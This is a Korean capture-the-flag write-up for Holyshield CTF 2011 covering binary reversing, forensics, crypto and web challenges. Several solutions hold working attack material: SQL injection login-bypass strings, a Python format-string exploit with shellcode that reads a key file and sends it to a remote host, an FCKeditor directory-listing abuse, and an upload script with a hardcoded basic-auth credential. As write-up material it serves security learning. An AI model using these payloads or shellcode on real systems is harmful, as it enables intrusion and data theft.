Holyshield CTF 풀이 2011.11.25 SI0S I love hot girl (goal) & beat (bit)
[ Table of Contents ] 1 번 3 Page 2 번 5 Page 3 번 7 Page 4 번 8 Page 5 번.. 13 Page 6 번.. 19 Page 7 번.. 23 Page 8 번.. 26 Page 9 번.. 28 Page 11 번. 32 Page 14 번. 37 Page 15 번. 42 Page - 2 -
1 번 문제 File은 ELF Binary와아래와같이알수없는 16진수숫자들의 List입니다. ffffffa8 ffffffb6 ffffffa0 ffffffa2 ffffffba ffffffa7 ffffffba ffffffa6 ffffffe1 ffffffd4 ffffff8a ffffffa8 ffffffb0 ffffffda ffffffba ffffffbb ffffff81 ffffff80 ffffffaa ffffffaf ffffffa8 ffffffe0 ffffffed ffffffd1 ffffffeb ffffffe5 ffffffe9 fffffff9 [ 그림 1-1] 16진수숫자 List l 16진수숫자값들을살펴보면, 4Byte 크기의음수인것을알수있습니다. 정확한값을알아내기위해해당 16진수숫자를부호있는 10진수로변환하는간단한 Script를만들어실행하였습니다. num[0] : -88 num[1] : -74 num[2] : -96 num[3] : -94 num[4] : -70 num[5] : -89 num[6] : -70 num[7] : -90 num[8] : -31 num[9] : -44 num[10] : -118 num[11] : -88 num[12] : -80 num[13] : -38 num[14] : -70 num[15] : -69 num[16] : -127 num[17] : -128 num[18] : -86 num[19] : -81 num[20] : 88 num[21] : -32 num[22] : -19 num[23] : -47 num[24] : -21 num[25] : -27 num[26] : -23 num[27] : -7 [ 그림 1-2] Script 출력후 ELF Binary는인자로문자열을받고문자열의길이만큼값을출력해주는 File 입니다. posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 Error!! posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 aaaa aaaa -95-34 -38-40 posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 aaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa -71-74 -78-80 -84-87 -87-93 -33-36 -104-106 -110-113 -113-119 -123-126 -66-68 -8-11 -11-17 -21-24 -28-30 posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 aaaaaaaaaaaaaaaaaaaaaaaaaaab aaaaaaaaaaaaaaaaaaaaaaaaaaab -71-74 -78-80 -84-87 -87-93 -33-36 -104-106 -110-113 -113-119 -123-126 -66-68 -8-11 -11-17 -21-24 -28-31 [ 그림 1-3] ELF Binary 출력값 - 3 -
l 출력값들을비교해보면, 길이에따라각문자들이치환되는값이변하는것을알수있습니다. l 또한, 길이가같은경우에는치환되는값이고정되는것을확인할수있습니다. n 무차별대입하여주어진숫자들에해당하는값들을출력하는문자열을찾는것이빠르다고생각하여값을하나하나맞춰가며입력해보았습니다. posquit0 $./d75bf941d9a3d98f059dcdb00caa07f3 password_is_c4tsecur1ty_allz password_is_c4tsecur1ty_allz -88-74 -96-94 -70-89 -70-90 -31-44 -118-88 -80-38 -70-69 -127-128 -86-81 -88-32 -19-47 -21-27 -23-7 [ 그림 1-4] Key - 4 -
2 번 해당문제 Page 가열려있지않아서 Screenshot 은첨부하지못했습니다. Web Page 와 Login Page 가있었고, Login Page 에 SQL Injection 취약점이존재했습니다. 그리고, root / root 의계정이존재하는걸확인하고 ID 입력 Form 에는 ' and 1=2 or id='root'# 를, Password 입력 Form 에는 root 를입력하니 Login 이성공하였습니다. union 구문을 Filtering 하지않는것을확인하였으나, ' and 1=2 union select 'root','root'# 과같은 Query를요청하였을때 root로 Login이되지않았고, 조금더삽질해본결과 md5 Hash로저장된다는것을체크하고 0cc175b9c0f1b6a831c399e269772661과같은 Hash 값을 union 에집어넣어 Login이되는것을확인할수있었습니다. 하지만, 어떤 ID 로 Login 하였는지알수있는방법이없어서, Blind SQL injection 으로공격 하였습니다. [ 그림 2-1] Python Script l information_schema에서 Table name을추출하면 member01, 02 가있고, Column name도함께뽑아서 Data를조회해본결과, Web에서회원가입한 Data들은 member02로만들어가는것을확인하였습니다. l member01 Table의 Data들을전부추출하니 (2개의 member Table의구조는동일 ), - 5 -
id 가 key? key is? 인계정의 Password Column 에인증키가들어있었습니다. Ø Accent 실제공격 Query를더짧게 Coding 가능하였지만, 이것저것다른방향으로삽질하면서 Coding 하던것들은그냥둡니다. 지금고치기귀찮은건아니지만술이부족해서 Coding 하기가힘드네요 - 6 -
3 번 문제 File은 Image과 Android emulator file 입니다. 우선, Android SDK를사용하여 Emulator 를실행시켜보면화면잠금이걸려있었습니다. 이를해제하는방법은아래와같습니다. 1 주어진 Image file의 Android 기기화면에찍힌지문을확인하는것 2 DDMS를이용하여 data/system/gesture.key File을추출후해독하는것 3 /data/system/gesture.key File을삭제시키면암호를없애는것 화면잠금을해제한뒤 Emulator 를살펴보면, 남아있는정보는 SMS 뿐이었고연락처정 보는모두지워져있어송신자와수신자를알수없었습니다. 그러나, SMS 의내용중 Hint Page 를 Base64 Encoding 한값을발견할수있었습니다. Hint Page 에서, SMS Thread에서 Message 2개를지우면다음절차를알수있게된다고하였고, 수행후 Thread 내에서세로로첫글자를읽어보면 http://qyhr.qr.ai 라는 URL이나옵니다. <style type='text/css'>.text font-size:40pt; font-family:fantasy;.secret font-size:6pt; i-luv:hong; font-2ndkey:n4 d0 8oyfr13nd; </style> </head> <body bgcolor='black'> <center> <font class='text'color='white'>dong won Tuna <table cellpadding='10' width='500' height='300'> <tr> <td align='left'><font class='text' color='red'>oh</td> <td align='right'><font class='text' color='yellow'> Oh</td> </tr> <tr> <td colspan='2' align='center'><img src='./handsome_tuna.gif'></img></td> l l [ 그림 3-1] http://qyhr.qr.ai Source 두번째 Key는 N4 d0 8oyfr13nd 이며, 첫번째 Key는문자 Message 를보낸사람의이름이라고합니다. 이를찾기위해 DDMS를이용하여모든 SQLlite DB파일을추출하여분석했지만, 알수가없었습니다. Image File을분석해본결과 Image 뒤에주소록 Data가붙어있었고, 이를통해보낸사람의이름이강참치임을알수있었습니다. - 7 -
4 번 DllMain 부분을분석해보면현재 Process의이름을확인하는부분이나옵니다 if (!GetModuleFileNameA(0, &FullPath_FileName, 260u) ) goto LABEL_19; if ( strrchr(&fullpathfilename, '\\') ) FileName = strrchr(&fullpath_filename, '\\') + 1; if ( FileName[1] == 't' && FileName[3] == 'r' && FileName[5] == 'r' && FileName[6] == 'a' && FileName[8] == 't' && FileName[11] == 'x' && FileName[12] == 'e' ) if ( fdwreason == 1 ) v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, &ThreadId); CloseHandle(v5); [ 그림 4-1] DllMain l File name의형식이 _t_r_ra_t xe 면계속진행이된다는것을알수있습니다. n 나중에눈치챘지만이는 starcraft.exe를검사하는부분이었습니다. while ( 1 ) if ( v68c2a0 == 49 ) if ( v68c2a1 == 49 ) if ( v68c2a2 == 49 ) if ( v68c2a3 == 49 ) if ( v68c2a4 == 49 ) if ( v68c2a5 == 49 ) [ 그림 4-2] StartAddress l 0x68c2a0[] 의값이숫자 1이맞는지를비교해나갑니다. l 0x68c2a0[] Memory 주소는미할당영역이므로, 해당 Memory 영역을할당받기위해 VirtualProtect(0x00680000, 0x00100000, 0x2000, 0x4) 함수를강제호출하여문제가요구하는값들을채워나가며진행을했었습니다. - 8 -
그후, sub_10001000(), sub_10001160(), sub_100011e0() 3개의자식함수를통해또다른조건들을비교합니다. do *(&v13 + v0) = v0 + 0x596845; ++v0; while ( v0 < 12 ); if ( *(_BYTE *)v13!= 'W' *v15!= 't' *v16!= 'e' *v18!= ''' *v20!= ' ' *v21!= 'E' *v23!= 'g' *v24!= 'e' ) result = 0; else byte_1000336f = 'W'; byte_1000334a = 'W'; v2 = *Dst; byte_10003367 = v2; byte_1000334f = v2; v3 = *v15; byte_1000335b = v3; byte_10003350 = v3; v4 = *v16; byte_10003356 = v4; byte_10003365 = v4; v5 = *v17; byte_1000334b = v5; - 9 -
byte_1000335d = v5; v6 = *v18; byte_10003353 = v6; byte_10003352 = v6; v7 = *v19; byte_10003348[0] = v7; byte_10003354 = v7; v8 = *v20; byte_10003349 = v8; byte_10003355 = v8; v9 = *v21; byte_1000334c = v9; byte_1000336b = v9; v10 = *v22; byte_1000335e = v10; byte_10003369 = v10; v11 = *v23; byte_1000335f = v11; byte_10003362 = v11; v12 = *v24; byte_1000336d = v12; byte_10003359 = v12; result = 1; [ 그림 4-3] sub_10001000() l 이번엔 0x596845[] 주소의값들을참조하며, 미할당 Memory주소입니다. l 마찬가지로 VirtualProtect() 함수를호출해서 Memory 영역을할당받은후, 문제가요구하는조건의값들을채워나갑니다. 그후, 해당값들을다시전역변수에복사하며, Code를잘살펴보면 *v17, *v19와같이조건에서비교하지않았던값들이사용됩니다. 그래서 *v17과 *v19 등에해당하는값들을앞서 starcraft.exe의이름을추측해서알아낸것처럼 *v13~*v24에해당하는값이 "Water's Edge" 라는문자열일것이라고가정하고다시진행을했습니다. (W_te_'s Edge까지만알아내고구글링하면 Water's Edge가나옴 ) - 10 -
sub_10001000() 함수를분석을마친후, sub_10001160() 와 sub_100011e0() 도위와같은방 법으로진행했으며, 크게중요해보이지는않는함수들이었습니다. 문제파일이요구하는모든비교조건들을만족시키면아래 Code 가실행됩니다. do v2 = *(&v4 + v1) ^ byte_10003348[v1]; *(_QWORD *)&pinputs.mi.mousedata = 0i64; *(_QWORD *)&pinputs.mi.time = 0i64; *(_QWORD *)&pinputs.mi.dx = v2; pinputs.type = 1; SendInput(1u, &pinputs, 28); Sleep(1u); pinputs.mi.dy = 2; SendInput(2u, &pinputs, 28); Sleep(1u); ++v1; while ( v1 < 42 ); *(_QWORD *)&pinputs.mi.dx = 0i64; *(_QWORD *)&pinputs.mi.mousedata = 0i64; *(_QWORD *)&pinputs.mi.time = 0i64; LOWORD(pInputs.mi.dx) = 13; pinputs.type = 1; SendInput(1u, &pinputs, 28); Sleep(1u); pinputs.mi.dy = 2; SendInput(2u, &pinputs, 28); [ 그림 4-4] 출력 Code l Hex-ray가 SendInput() 의구조체인자를 mousedata로해석해서오해할수있는데, 실제로는 keyboarddata 값들입니다. l 위 Code가실행되면 SendInput() 에의해임의의키보드입력값 (xor 연산으로얻어진 ) 이발생하면서화면에 "key is r37urn 7o 7h3 n4tur3 and 4t0m0s" 가출력됩니다. - 11 -
Ø Accent 저희는이같은과정으로풀었지만, 아마 Starcraft 게임을실행후문제의파일을 Dll injection 시키면 Chatting 창등에키가출력되는의도의문제였을것으로보입니다. - 12 -
5 번 FreeBSD 8.2의 ELF Binary 이며, Hex-Ray를이용해 De-compile 후분석했습니다. int cdecl client_callback(int client_fd) int v1; // eax@1 void *str_su; // eax@1 size_t v3; // eax@2 unsigned int seed; // eax@2 int v5; // eax@3 size_t v6; // eax@13 int v7; // eax@18 int v8; // eax@20 int v10; // [sp+14h] [bp-424h]@6 char buffer; // [sp+23h] [bp-415h]@1 char v12; // [sp+24h] [bp-414h]@6 char buf; // [sp+14fh] [bp-2e9h]@2 int16 v14; // [sp+1b3h] [bp-285h]@1 char src; // [sp+1bfh] [bp-279h]@2 int v16; // [sp+1c4h] [bp-274h]@1 char s; // [sp+2f0h] [bp-148h]@1 int v18; // [sp+41ch] [bp-1ch]@1 int i; // [sp+420h] [bp-18h]@13 void *dest; // [sp+424h] [bp-14h]@2 FILE *fp; // [sp+42ch] [bp-ch]@1 int len; // [sp+430h] [bp-8h]@1 v18 = 0; memset(&s, 0, 0x12Cu); memset(&v16, 0, 0x12Cu); v14 = 0; memset(&buffer, 0, 0x12Cu); sub_8048d50(0); byte_804b165 = 115; sub_8049240(); sub_8049310(); - 13 -
sub_8048ff0(); sub_8049080(); sub_80490c0(); sub_80490f0(); sub_8049210(); memset(&buffer, 0, 0x12Cu); v1 = strlen(&::s); sock_send(client_fd, &::s, v1); fp = fopen("/home/admin/text", "r"); len = sock_read(client_fd, (int)&buffer, 0x12Cu, 0xAu); check_length(&buffer); str_su = sub_8048ef0(); if ( strcmp(&buffer, (const char *)str_su) ) if (!strcmp(&buffer, &str_exit) ) exit(0); if (!strcmp(&buffer, &str_ls) ) sprintf(&s, "%s > /home/admin/text 2>&1", &buffer); system(&s); v6 = strlen(&s); memset(&s, 0, v6); for ( i = 0; ; ++i ) LOBYTE(v14) = fgetc(fp); if ( (_BYTE)v14 == -1 ) break; putchar((char)v14); if ( (_BYTE)v14 == 10 ) LOBYTE(v14) = 32; strcat(&s, (const char *)&v14); LOBYTE(v14) = 0; strcat(&s, "\n"); v7 = strlen(&s); sock_send(client_fd, &s, v7); - 14 -
puts(&byte_8049faa); fclose(fp); exit(0); sprintf(&s, "%s %s: %s\n", &byte_804b3e4, &buffer, &byte_804b405); printf("%s", &s); v8 = strlen(&s); sock_send(client_fd, &s, v8); exit(0); strcpy(&buf, &::src); v3 = strlen(&buf); send(client_fd, &buf, v3, 0); sock_read(client_fd, (int)&v16, 0x12Cu, 10); check_length(&buffer); dest = malloc(0x64u); seed = time(0); srand(seed); memcpy(dest, "check", 6u); rand(); sprintf(&src, "%d", 0); strcat((char *)dest, &src); if ( strcmp((const char *)&v16, (const char *)dest) ) sock_send(client_fd, &byte_804b41c, 24); exit(0); sub_8048d50(1); v5 = strlen(&::s); sock_send(client_fd, &::s, v5); sock_read(client_fd, (int)&buffer, 300, 10); if (!strcmp(&buffer, &str_exit) ) exit(0); if ( strcmp(&buffer, &byte_804b419) ) sock_send(client_fd, "please into attack code: ", 25); - 15 -
sock_read(client_fd, (int)&buffer, 300, 10); check_length(&buffer); v10 = 0; else sock_send(client_fd, "please into attack code: ", 25); sock_read(client_fd, (int)&v12, 0x12Cu, 10); printf(&buffer); // Vuln!! v10 = 0; return v10; [ 그림 5-1] ELF Binary Source Code l Server에접속하면 sh의 Prompt 생긴문자열을보내주고 Data 수신을기다립니다.. n su -> check0 -> vi 순으로문자열을전송해주면마지막에한번더 Data를전송받은뒤 printf 함수로 Format String 없이출력하기때문에 FSB 공격이가능하게됩니다.. Payload [close@got] + [close@got+2] + [formatstring] + [nop] + [shellcode] [ 그림 5-2] Payload 구조 마지막에많은 Data를전송받으므로 Shell code와 close@got를 Stack 주소로덮어무차별대입하는 Script를작성했습니다. exploit.py #!/usr/bin/python import time, os import pwn3r from socket import * #HOST = "192.168.123.129" HOST = "203.229.206.32" #HOST = "203.229.206.27" PORT = 9999-16 -
shellcode = "\x31\xc0\x68\x6b\x65\x79\x00\x89\xe3\x50\x53\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\x31\x c9\x66\xb9\x05\x0d\x51\x89\xe6\x81\xee\x05\x0d\x00\x00\x56\x53\xb0\x03\x50\xcd\x80\x89 \xc5\x31\xc0\xb0\x06\x53\x50\xcd\x80\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x8 9\xc2\x68\x72\x8d\x01\x58\x68\xaa\x02\x1f\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0\x62\x 50\xcd\x80\x31\xc0\x55\x56\x52\xb0\x04\x50\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80" fsb = pwn3r.fsb() for addr in range(0xbfbfe800, 0xbfbfe000, -30): s= socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) s.recv(1024) s.send("su\n") s.recv(1024) s.send("check0\n") s.recv(1024) s.send("vi\n") s.recv(1024) payload = fsb.getpayload(9,[hex(0x0804b304)],[hex(addr)],1)+"\x90"*100+shellcode+"\n" s.send(payload) s.close() pwn3r.fsb() class fsb: #--------------------------------------------------------------------------------# def pack(self, data): res = "" for i in range(0,4): res += chr(data % 0x100) data /= 0x100 return res #--------------------------------------------------------------------------------# def getpayload(self, OFFSET, DST, VAR, PADDING = 0): - 17 -
DST = [long(k,16) for k in DST] VAR = [long(k,16) for k in VAR] DST2 = [] VAR2 = [] payload = "" if len(dst)!= len(var): print "Different range of DST, VAR" exit() for i in range(0, len(dst)): # redefine DST DST2.append(self.pack(DST[i])) if VAR[i] >= 0x10000: DST2.append(self.pack(DST[i]+2)) for j in range(0, len(var)): # redefine VAR VAR2.append(long(VAR[j]) % 0x10000) if VAR[j] >= 0x10000: VAR2.append(long(VAR[j]) / 0x10000) for i in range(0, len(dst2)): payload += DST2[i] bef = len(payload) + PADDING for j in range(0, len(var2)): now = VAR2[j] if bef!= now : if bef > now: count = (0x10000 + now) - bef elif bef < now: count = now - bef payload += "%1$" + str(count) + "c" payload += "%" + str(offset) + "$hn" OFFSET += 1 bef = now return payload [ 그림 5-3] Exploit.py - 18 -
6 번 문제 Page에접근하면이미지로된로또번호 10개가보이고하단에 File을첨부할수있도록되어있습니다. 임의의 File을 Upload 하면틀렸다는 Message가출력되며, Source 보기를하면, Hidden field 3개 ( 로또번호, Timestamp, Checksum ) 가존재하며 File 첨부시함께전송되고있습니다. 그리고관리자에게 Mail 을보내는 Page 가 FCKeditor 로구현되어있습니다. FCKeditor 의버 전은 2.6.6 버전이었으며구글링을통해해당버전의취약점을찾을수있었습니다. 일반적으로알려져있는취약점들에대해서는 Patch가되어있는상태였고, Directory listing 이가능한주소인 http://203.229.206.34/3101/fckeditor/editor/filemanager/browser/default/browser.html 을접근해보았다. 접근과동시에 XML 관련 Error를출력하였고, http://203.229.206.34/3101/fckeditor/editor/filemanager/connectors/php/connector.php?com mand=getfoldersandfiles&type=images¤tfolder= 위주소로접근하게되면 Command에따라결과가달라지며결과물을 XML로뿌려주는것을확인할수있었습니다. + 첫번째로찾은 URL에두번째 URL의결과물을더하여아래의 URL이완성되었습니다. http://203.229.206.34/3101/fckeditor/editor/filemanager/browser/default/browser.html?type= File&Connector=http://203.229.206.34/3101/fckeditor/editor/filemanager/connectors/php/co nnector.php?command=getfoldersandfiles&type=images¤tfolder= http://203.229.206.34/3101/userfiles/file/ 경로의 Directory listing 을할수있게되었고, 10tt0_numb3r_f0r_s01v3.txt 라는눈에띄는파일을발견할수있었습니다. 그리고, Main Page에서 10tt0_numb3r_f0r_s01v3.txt 파일을업로드하면원본파일 (http://203.229.206.34/3101/userfiles/file/10tt0_numb3r_f0r_s01v3.txt) 의내용이덮어써진다는사실을확인할수있었습니다. 문제를풀기위해전체적인과정을정리해보면아래와같습니다 1. Main page 접속 2. 해당 html의 Hidden form 중 lotto의 value를 10tt0_numb3r_f0r_s01v3.txt 에입력한후 Upload 3. lotto의 value를파일명으로작성한뒤업로드 ex)1154890125.txt 4. Get key! - 19 -
해당문제를풀기위해화면에보이는 lotto 번호를 10tt0_numb3r_f0r_s01v3 File 명으로첨부 하면되는데이때 Timestamp 값이변하기전에빠르게첨부되어야하는것으로보입니다. 따라서수동으로진행하긴어려워보여 python 으로작성한아래의 Code를수행해문제의 Key 값을확인하였습니다. import urllib, urllib2 import threading, time def attack(): headers = get = body = data = urllib.urlencode(body) headers['authorization']='basic ZWxvaTp0bGRya3ZoZm0=' req = urllib2.request('http://203.229.206.34/3101/lucky.php', data, headers) response = urllib2.urlopen(req) the_page = response.read() return the_page def encode_multipart_formdata(time, check,lotto,fname): BOUNDARY = '----WebKitFormBoundaryATKPURI5NBJeVZHV' CRLF = '\r\n' L = [] L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='lotto'") L.append('') L.append(lotto) L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='timestamp'") L.append('') L.append(time) L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='checksum'") - 20 -
L.append('') L.append(check) L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='contents'; filename='"+fname+".txt'") L.append("Content-Type: text/plain") L.append('') L.append(lotto) L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body result = str(attack()) lotto=result[result.find("lotto\" value=")+14:result.find("lotto\" value=")+24] time=result[result.find("timestamp\" value=")+18:result.find("timestamp\" value=")+28] check=result[result.find("checksum\" value=")+17:result.find("checksum\" value=")+49] print lotto + " : " + time + " : " + check headers = body = '' print '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!' data = urllib.urlencode(body) content_type, body = encode_multipart_formdata(time, check,lotto,"10tt0_numb3r_f0r_s01v3") headers['cache-control']='max-age=0' headers['user-agent']='mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2' headers['accept']='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' headers['accept-encoding']='gzip,deflate,sdch' headers['accept-language']='ko-kr,ko;q=0.8,en-us;q=0.6,en;q=0.4' - 21 -
headers['accept-charset']='windows-949,utf-8;q=0.7,*;q=0.3' headers['authorization']='basic ZWxvaTp0bGRya3ZoZm0=' headers['origin']='http://203.229.206.34' headers['referer']='http://203.229.206.34/3101/lucky.php' headers['content-type']=content_type headers['content-length']=str(len(body)) req = urllib2.request('http://203.229.206.34/3101/result.php', body, headers) response = urllib2.urlopen(req) the_page = response.read() print str(the_page) [ 그림 6-1] Python Script - 22 -
7 번 문제에주어진 URL에접속해보면, 다음과같은암호문이등장합니다. 5A6A597A593249334E7A466A4F57466A5A6A68694D6D51775A5459784F5467344D5451 33595455784D6A5A695A4751344E6D4E6D5A6A526C4D4467345A4755344D5749345932 526D4D6A526C0D0A596A4531596D4E6D4F413D3D [ 그림 7-1] Encrypted Message l ASCII Hex 값으로 Encoding 된것을알수있습니다. ASCII 값을 Decoding 하면다음과같은 Base64 값이나옵니다. ZjYzY2I3NzFjOWFjZjhiMmQwZTYxOTg4MTQ3YTUxMjZiZGQ4NmNmZjRlMDg4ZGU4MWI 4Y2RmMjRlYjE1 YmNmOA== [ 그림 7-2] Decrypted Message l ASCII Hex 값 0D0A를통해두개로분리된 Base64 값을볼수있습니다. n 풀면서알게된사실이지만, 이 Base64 값두개는이어진것입니다. ( 출제자께서왜이를분리시켜놓았는지알수가없군요 ) 이값을 Base64 Decoding 하면다음과같은값이나옵니다. f63cb771c9acf8b2 d0e61988147a5126bdd86cff4e088de81b8cdf24eb15bcf8 posquit0$ python Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40) [GCC 4.4.5] on linux2 >>> len('f63cb771c9acf8b2d0e61988147a5126bdd86cff4e088de81b8cdf24eb15bcf8') 64 [ 그림 7-3] Base64 Decode Message Hint로 Image 3장이들어있는 Folder를받았습니다. Image 이름을보면각각, 2, 5, 3D 인데, 크기가큰순서대로배열해보면 3D25가됩니다. 3DES로암호화된것을알수있으며, 무엇보다도암호의길이가 32 Byte이니보통 Block의크기를 8Byte로쓰는 3DES 의특성에딱맞았습니다. 그리고, Hint로 53426187 가주어졌습니다. 처음에보았을때는 3DES의 IV 값으로알았습니다. (8 Byte로맞아떨어짐 ) 또중복된숫자가없고 1~8까지의숫자로이루어진것으로보아 Permutation 배열도생각하게되었습니다. 그러나, 여러시도를해봐도 3DES 암호가풀릴기미가안보였습니다. - 23 -
한번은 53426187과 soul이 3DES의두개의키값이고, 암호문의앞의 8Byte가 IV 값으로두기도했습니다.( 보통 3DES의경우 IV+ 암호문으로붙여서주어지기때문 ) 도통풀릴기미가안보여, 출제자분과대화를한뒤에몇번의시도후에암호를풀수있었습니다. 3DES 의 Key 값은 soul이었고, 32Byte 전체가암호문이며 IV 값은없었습니다.(ECB Mode으로 Encrypt 되어있었기때문 ) 3DES 암호를풀고나면다음의 Base64가나오는데, Permutation 배열을이용하여 Permutation 시켜주고 Base64를풀어주면 Key가나옵니다. #!/usr/bin/python import sys import chilkat crypt = chilkat.ckcrypt2() success = crypt.unlockcomponent("anything for 30-day trial") if (success!= True): print crypt.lasterrortext() sys.exit() crypt.put_cryptalgorithm("des") crypt.put_keylength(168) crypt.put_encodingmode("hex") crypt.put_ciphermode("ecb") crypt.setencodedkey("c291ba==","base64") crypt.put_paddingscheme(4) ciphertext="f63cb771c9acf8b2d0e61988147a5126bdd86cff4e088de81b8cdf24eb15bcf8". upper() print ciphertext plaintext = crypt.decryptstringenc(ciphertext) print plaintext [ 그림 7-4] 3-DES Decrypt Source Code posquit0$./attack.py WBfDTR1BMtu0HXfdb91WFNN9YNpXwd== posquit0$./permu.py RDBfWTB1X0tuMHdfNW91bF9NdXNpYw== posquit0$ python - 24 -
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40) [GCC 4.4.5] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 'RDBfWTB1X0tuMHdfNW91bF9NdXNpYw=='.decode('base64') 'D0_Y0u_Kn0w_5oul_Music' [ 그림 7-5] GET Key Ø Accent 보통 3DES는 EDE(Encrypt-Decrypt-Encrypt) 과정을거쳐서암호화하게됩니다. 즉, 3 개의 Key를사용하게됩니다. 하지만 3개의 Key를사용한결과와같은결과를내는 Key 1개가존재가능하다는연구결과로보통 Key 2개를사용합니다. (Encrypt 과정에같은 Key를사용하고, Decrypt 과정에다른 Key를사용 ) Key를 1개만사용할경우의문제점은또, Encrypt-Decrypt 과정에서다시 Plaintext로바뀌고마지막 Encrypt 과정만남게됩니다. 이번문제에서 3DES Key가 soul 하나만주어졌는데, 이게좀의아하네요. 또 3DES까지 Guessing으로풀었다고하여도, Base64 암호문의길이가 32Byte인데, Hint로 Permutation Table이주어지지않았다면, 어떻게풀었어야될지의문입니다. - 25 -
8 번 문제를다운받은후 MAC 에서 File 명령어를통해어떠한 File 인지확인하였습니다. [ 그림 8-1] File Type 확인 Unzip 명령어로 File 의압축을해제하였습니다. l [ 그림 8-2] Unzip Unzip 명령어를통해해당 File 의압축을해제하니 Skynet_Evid0002.001 이라는 File 이나왔으며, 이는 Disk Dump File 임을알수있습니다. l l [ 그림 8-3] Skynet Folder Winhex를통해해당 File을 Interpret 한후, Lucifer( 출제자 ) Directory 하위에 Skynet 이라는 Folder를발견하였습니다. n 그러나해당 Directory 하위에는아무런 File도없었습니다. MFT 번호 2368 임을확인하고, Folder 생성이후어떠한 File 이생성되었는지에대한단서를찾기위해다음 MFT Entry를보았습니다. - 26 -
Mouse scroll 을아래로내려바로다음 MFT(+1024 Byte) 를살펴보니 SPL 확장자를가진 Spool Data 들이발견되었습니다. [ 그림 8-4] MFT 2369(FP000002.SPL) l 해당 File 의경로는 \Windows\System32\spool\PRINTERS\ 임을알수있고, 이를통해해당문제는 Spool Data 와관련이있음을알수있었습니다. 해당 File 이위치하는경로로가서의심스러운 File 을찾아보았습니다. l [ 그림 8-5] FP000009.SPL FP000009.SPL File 만 Modified 시간이다른것알수있으며, 이를통해해당 File 이출제자가낸 File 임을유추할수있습니다. SPL File Viewer 를통해해당 File 을읽어보니문서제목이 비밀문서취급규정 이었으며, Scroll 을아래로내려보니 Key 값을발견할수있었습니다. [ 그림 8-6] Key - 27 -
9 번 File 명령을통해 Object File 임을확인할수있었습니다. [test@localhost cat]$ file mail mail: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped [test@localhost cat]$ [ 그림 9-1] File Type 확인 Winhex 로 String 을확인하여해당 Binary 가 Compile 된 Server 의정보를알아냈습니다. [ 그림 9-2] Compile Server 정보확인 운이좋게도 Redhat 9.0 Server 환경과딱맞아떨어졌습니다 ^-^ [test@localhost cat]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enableshared --enable-threads=posix --disable-checking --with-system-zlib --enable- cxa_atexit --host=i386-redhatlinux Thread model: posix gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5) [test@localhost cat]$ [ 그림 9-3] gcc v Redhat Server에서 Linking을한후실행을시키고접속해보았습니다. [test@localhost cat]$ nc localhost 8989 ====Mail Service==== 1.Join 2.Sign up : 2 ID : win32virus Sign up Success!! Would you like to e-mail?(y/n) : y Receive Address : a Mail Title : a - 28 -
Mail Body : a [test@localhost cat]$ l l [ 그림 9-4] Linking 후접속 Join 을선택하면 User_info 라는 File에 ID를저장하고, Sign up 을선택하면 User_info에등록된 ID들중하나로 Login이가능합니다. Debugging을해본결과 Receive Address : 부분에서받는문자열과 User_info 에서불러온 24글자즉, 처음가입한아이디를알아내야함을알수있었습니다. IDA hex-ray로 Source를확인해보았습니다. if (!strncmp(buf, (const char *)&v10-264, v1-1) ) v2 = inet_ntoa((struct in_addr)*(&client_addr + 1)); sprintf(buf, "Your IP is %s\n", v2); v3 = strlen(buf); send_to(fd, buf, v3); argv = "/home/getkey/package"; v6 = inet_ntoa((struct in_addr)*(&client_addr + 1)); *(_DWORD *)buf = 0; execve("/home/getkey/package", &argv, 0); l [ 그림 9-5] Source Code 해당조건을만족하면 Client 의 IP 정보를받고 /home/getkey/package 를실행시 켜서시키는것으로보아, 아마 flag 를보내주는것으로추정됩니다. WriteMail 함수에서는 v4 변수크기는 136 인데비해, 1024만큼입력받습니다.. signed int cdecl Write_mail(int fd) int v2; // [sp+0h] [bp-c8h]@1 int v3; // [sp+20h] [bp-a8h]@1 int v4; // [sp+40h] [bp-88h]@1 send_to(fd, "Receive Address : ", 19); recv_from(fd, (int)&v3, 24, 10); send_to(fd, "Mail Title : ", 14); recv_from(fd, (int)&v2, 20, 10); send_to(fd, "Mail Body : ", 13); - 29 -
